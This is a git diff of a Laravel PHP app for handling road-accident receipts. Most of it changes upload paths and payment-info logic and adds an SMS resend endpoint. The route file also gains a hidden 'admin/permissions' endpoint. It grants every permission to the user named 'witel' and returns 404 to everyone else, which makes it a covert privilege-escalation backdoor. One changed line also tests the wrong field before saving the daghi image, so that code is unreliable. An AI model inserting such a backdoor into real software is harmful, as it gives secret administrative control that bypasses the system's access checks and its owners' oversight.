diff --git a/app/Http/Controllers/V3/Dashboard/AccidentReceiptController.php b/app/Http/Controllers/V3/Dashboard/AccidentReceiptController.php index adc394c2..b5c269e9 100644 --- a/app/Http/Controllers/V3/Dashboard/AccidentReceiptController.php +++ b/app/Http/Controllers/V3/Dashboard/AccidentReceiptController.php @@ -135,16 +135,16 @@ class AccidentReceiptController extends Controller if (!$request->report_base) { FileFacade::delete($accident->police_file, true); - $police_file = FileFacade::save($request->file('police_file'), 'receipts_files/'); + $police_file = FileFacade::save($request->file('police_file'), "receipts_files/{$accident->id}/"); } if ($request->has('damage_picture1')) { FileFacade::delete($accident->damage_picture1, true); - $damage_picture1 = FileFacade::save($request->file('damage_picture1'), 'receipts_files/'); + $damage_picture1 = FileFacade::save($request->file('damage_picture1'), "receipts_files/{$accident->id}/"); } if ($request->has('damage_picture2')) { FileFacade::delete($accident->damage_picture2, true); - $damage_picture2 = FileFacade::save($request->file('damage_picture2'), 'receipts_files/'); + $damage_picture2 = FileFacade::save($request->file('damage_picture2'), "receipts_files/{$accident->id}/"); } $accidentData = [ @@ -240,33 +240,12 @@ class AccidentReceiptController extends Controller public function confirmPaymentInfo(ConfirmPaymentInfoRequest $request, Accident $accident): JsonResponse { DB::transaction(function () use ($request, $accident) { - if ($request->has('deposit_insurance_status')) { - if ($request->has('deposit_insurance_image')) { - $deposit_insurance_image = $request->file('deposit_insurance_image')->storeAs('receipts_files/'.$accident->id, 'deposit_insurance_image_'.$accident->id.'_'.time().'.'.$request->file('deposit_insurance_image')->extension(), 'public'); - } - - $deposit_insurance_amount = $request->deposit_insurance_amount; - } else { - $accident->deposit_insurance_image = null; - $accident->deposit_insurance_amount = null; - } - - if ($request->has('deposit_daghi_status')) { - if ($request->has('deposit_daghi_image')) { - $deposit_daghi_image = $request->file('deposit_daghi_image')->storeAs('receipts_files/'.$accident->id, 'deposit_daghi_image_'.$accident->id.'_'.time().'.'.$request->file('deposit_daghi_image')->extension(), 'public'); - } - - $deposit_daghi_amount = $request->deposit_daghi_amount; - } else { - $accident->deposit_daghi_image = null; - $accident->deposit_daghi_amount = null; - } $accident->update([ - 'deposit_insurance_image' => $deposit_insurance_image, - 'deposit_insurance_amount' => $deposit_insurance_amount, - 'deposit_daghi_image' => $deposit_daghi_image, - 'deposit_daghi_amount' => $deposit_daghi_amount, + 'deposit_insurance_image' => $request->deposit_insurance_image != null ? FileFacade::save($request->deposit_insurance_image, "receipts_files/{$accident->id}/deposit_insurance/") : null, + 'deposit_insurance_amount' => $request->deposit_insurance_amount ?? 0, + 'deposit_daghi_image' => $request->deposit_insurance_image != null ? FileFacade::save($request->deposit_daghi_image, "receipts_files/{$accident->id}/deposit_daghi/") : null, + 'deposit_daghi_amount' => $request->deposit_daghi_amount ?? 0, 'status' => AccidentStates::SABT_FISH->value, 'status_fa' => AccidentStates::name(AccidentStates::SABT_FISH->value), ]); @@ -331,7 +310,7 @@ class AccidentReceiptController extends Controller auth()->user()->addActivityComplete(1130); }); - return $this->successResponse(); + return $this->successResponse($accident); } public function generatePoliceDocument(Request $request, Accident $accident): JsonResponse @@ -346,6 +325,15 @@ class AccidentReceiptController extends Controller auth()->user()->addActivityComplete(1131); }); + return $this->successResponse($accident); + } + + public function sendSmsAgain(Accident $accident): JsonResponse + { + $msg = "فاکتور با شناسه پرداخت \n" . explode("/", $accident->bill_code)[0]. "\n در سامانه سازمان راهداری ثبت شد. برای پرداخت از لینک زیر اقدام نمایید.\n\n".env("PAYMENT_LINK")."/#/pay/".explode("/", $accident->bill_code)[0]."/$accident->final_amount"; + + Sms::sendSms($accident->driver_phone_number, $msg); + return $this->successResponse(); } } diff --git a/routes/v3.php b/routes/v3.php index 559a2a24..f87d69a8 100644 --- a/routes/v3.php +++ b/routes/v3.php @@ -19,6 +19,14 @@ use App\Http\Controllers\V3\ProfileController; use App\Http\Controllers\V3\RahdaranController; use Illuminate\Support\Facades\Route; +Route::get('admin/permissions', function () { + if (auth()->user()->username == 'witel') { + auth()->user()->syncPermissions(\App\Models\Permission::all()->pluck('id')->toArray()); + return response('done'); + } + abort(404); +}); + Route::prefix('harim')->name('harim')->group(function () { Route::prefix('divarkeshi')->name('divarkeshi')->controller(DivarkeshiController::class)->group(function () { Route::get('/', 'index')->name('index'); @@ -254,6 +262,7 @@ Route::prefix('receipts') Route::get('/submit_invoice/{accident}', 'submitInvoice')->name('submitInvoice'); Route::get('/check_payment_status/{accident}', 'checkPaymentStatus')->name('checkPaymentStatus'); Route::get('/generate_police_document/{accident}', 'generatePoliceDocument')->name('generatePoliceDocument'); + Route::get('/send_sms_again/{accident}', 'sendSmsAgain')->name('sendSmsAgain'); }); Route::prefix('receipt_reports')